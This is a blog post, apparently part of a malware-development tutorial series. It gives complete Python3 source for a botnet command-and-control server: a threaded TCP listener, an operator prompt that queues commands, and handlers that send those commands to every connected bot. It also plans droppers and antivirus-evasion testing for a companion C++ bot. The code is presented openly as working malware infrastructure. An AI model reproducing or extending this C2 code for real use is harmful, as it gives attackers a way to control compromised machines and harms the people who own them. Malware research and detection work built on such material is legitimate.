In the previous parts 1, 2-1 and 2-2 of this series we created a binary that can connect to, and parse commands sent via netcat listener. However, netcat is not an ideal choice for a Botnet Server, and in this post, we will be writing a full-fledged python3 Botnet Server, sending commands to our Bot and checking whether our C++ binary can parse the command received. In the next blog, we will also start writing bot functions and the finally a dropper. Droppers can be really useful when dealing with large binaries. As we continue writing our malware, we will notice that we may need to increase the buffer size and deal with DWORDS in Windows which are unsigned long, or a double word. Depending on the DWORD size used in the binary, they sometimes tend to increase the size of our data. This is where we can use droppers.
Droppers are of really low size and they just do the work of downloading the main malware binary upon execution. We will be describing how to do this this in the later parts of the blog.
# The Botnet
Let’s start by writing a server-side socket and let’s make the arguments parsable via command line itself. We will be writing 2 classes and 2 functions out of which, one will be the main(). The classes will run threads since they will run all the time in the background to handle multiple bot connections. The function other than the main() will be a listener which will do the work of calling the classes and threads. Remember, that everything that we do will run in the same memory space and all the lists and dicts will be globally accessible to each other. In the long run, you may have to replace threading with multiprocessing if you want to have something like a proper botnet with tens of thousands of bots, but threading is good enough to get started as for now. Also, replacing threads with process is really easy in python.
All the code is available here on my repo.
Let’s start with the main() function:
#!/usr/bin/python3 import socket #import socket library import sys #import system library for parsing arguments import os #import os library to call exit and kill threads import threading #import threading library to handle multiple connections import queue #import queue library to handle threaded data q = queue.Queue() Socketthread =  def main(): if (len(sys.argv) < 3): print ("[!] Usage:\n [+] python3 " + sys.argv + " <LHOST> <LPORT>\n [+] Eg.: python3 " + sys.argv + " 0.0.0.0 8080\n") else: try: lhost = sys.argv lport = int(sys.argv) listener(lhost, lport, q) except Exception as ex: print("\n[-] Unable to run the handler. Reason: " + str(ex) + "\n") if __name__ == '__main__': main()
The libraries we imported before queue are self-explanatory, so I will start by explaining with the queue library. When we have multiple bots connected to multiple running threads, we need the bots to communicate to the main server and each other as well. Even though these bots run in the same memory space, we cannot send data to all of them together. This is why we use the queue library. It helps us to queue in the data and send the data in FIFO (First In First Out) method to each of the threads. Threading in Python uses GIL (Global interpreter lock) to handle child threads and interact with them.
The Socketthread is a list which will store all the child threads that will be spawned by the main process. Using a count of bots connected, we can then calculate how many commands are to be loaded in the queue to send to each bot. In the main function, we check that if the arguments supplied are less than 3. If its is, then we prompt the command line usage of the script else we continue. We store the values received via command line in lhost and lport which is our listener host and port. Once we are able to parse the lhost as an integer which is needed for the socket, we pass the values as arguments to our listener() function. Finally, we see if there is any error and print it out using the exception.
Below is the function for the listener():
def listener(lhost, lport, q): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_address = (lhost, lport) server.bind(server_address) server.listen(100) print ("[+] Starting Botnet listener on tcp://" + lhost + ":" + str(lport) + "\n") BotCmdThread = BotCmd(q) BotCmdThread.start() while True: (client, client_address) = server.accept() newthread = BotHandler(client, client_address, q) Socketthread.append(newthread) newthread.start()
Once, we received the lhost and the lport, we bind the port for IPV4 and TCP stream in the first line. We make the port reusable since multiple connections will be handled on the same port and start listening to it specifying that a maximum of 100 connections should be handled. Anything more than that will be left in queue and will connect once any of the existing client disconnects. We then print that the listener has started and wait for incoming connections.
Once a connection is received, the first thing we do is pass the empty queue to a class BotCmd which starts a thread and prompts for commands to be sent to the bots. We start the thread by using start(). The next step is to accept the incoming connection and start a new thread by calling the BotHandler class (defined below) for each bot that gets connected. We pass the IP address, socket connection details and the queue value which will contain the command received by the BotCmd thread(defined below) prompt we created previously. The value and the count of the child threads are stored in the list Socketthread we created previously and then we start the thread. This process runs in a loop and keeps on accepting incoming connections till it reaches 100 or is asked to close by the parent process.
class BotCmd(threading.Thread): def __init__(self, qv2): threading.Thread.__init__(self) self.q = qv2 def run(self): while True: SendCmd = str(input("BotCmd> ")) if (SendCmd == ""): pass elif (SendCmd == "exit"): for i in range(len(Socketthread)): time.sleep(0.1) self.q.put(SendCmd) time.sleep(5) os._exit(0) else: print("[+] Sending Command: " + SendCmd + " to " + str(len(Socketthread)) + " bots") for i in range(len(Socketthread)): time.sleep(0.1) self.q.put(SendCmd)
There is nothing much to speak of here as the code itself is self-explanatory. We initialize the thread using self and run a True loop which does 3 things:
- Pass the loop if empty command is received
- Send the commands to all Bots to disconnect and exit the Botnet if exit command is received
- Prompt for next command once a command is parsed and sent to the BotHandler thread via the queue
Always, remember to reassign the argument’s value to local value using self when using a thread, else will not be able to identify the object. The for loop, runs a count of bots connected and puts the same number of data in the queue so that it is sent to all the bots properly. We’ve also used a sleep function from the time library, because the threading of python3 is a bit buggy and sometimes it sends all data in the queue to only one bot. This sleep command fixes the bug here.
Code for the BotHandler:
class BotHandler(threading.Thread): def __init__(self, client, client_address, qv): threading.Thread.__init__(self) self.client = client self.client_address = client_address self.ip = client_address self.port = client_address self.q = qv def run(self): BotName = threading.current_thread().getName() print("[*] Slave " + self.ip + ":" + str(self.port) + " connected with Thread-ID: ", BotName) ClientList[BotName] = self.client_address while True: RecvBotCmd = self.q.get() try: self.client.send(RecvBotCmd.encode('utf-8')) except Exception as ex: print(ex) break
This is the main class which will handle all the CPU and memory intensive workload. We first parse the arguments received from the listener() function i.e. the client which contains the socket details, the client_address which contains the IP address and the port of the client, and finally the qv variable which contains the queue value sent via the BotCmd() thread.
As soon as the listener() passes the arguments to this thread, it assigns a name to each child process with a naming convention of type: Thread-x, with x being a number incrementing with each bot connection. Once connected, the thread goes into listening mode and starts to listen to incoming command in the queue. As soon as a command is sent to the queue via the BotCmd, it will be pulled out by the child threads/bot threads and sent to the respective bots. We put this send part in a try:exception block so that if a bot disconnects due to some reason, it will print it on the screen.
Its, all good in theory, now let’s go ahead and see how it works during execution. For now, I am using multiple netcat connections to visualize the Bot, just to confirm that commands are properly being sent to the Bots. Once this is confirmedthen we continue writing the C++ Bot and then connect with it:
Once this is done, we then move to our C++ binary and check whether it receives the command that we sent it. Remember to remove the “\n” that I mentioned in the previous blog from the C++ code before compiling it. Our python3 server will send the data in a raw format and will not add a new line to it. Else, you can add a “\n” in the python3 code before sending it to the Bots. Either way works fine. As for me, I will be adding the code shown below before the self.client.send() function in the BotHandler() class:
class BotHandler(threading.Thread): . . . try: RecvBotCmd += "\n" self.client.send(RecvBotCmd.encode('utf-8')) except Exception as ex: . . .
Once the above changes are made, let’s go ahead and execute multiple instances of our binaries and see if our C2 Server sends the code to both appropriately. You can also try running this binary from multiple virtual machines. Make sure you change the <IP Address> in the C++ code before running it from a different VM. Since we have configured the C++ bot to parse the commands whoami,pwd and exit, any other command should be rejected by the Bot. As for now, our Bot will not disconnect as we’ve not written to final code for the bot, which we will do in the next blog.
All the code in the above blogpost can be found here.
So, this would be it for the third part of the Malware Development series. In the next part we will complete writing out the basic functionality of our malware and scan it with popular antiviruses like Kaspersky/Symantec/McAfee and see what happens!
Chetan Nayak is a security researcher in Network Intelligence. He has a keen interest in Malware development, hacking networks, RF devices and threat hunting.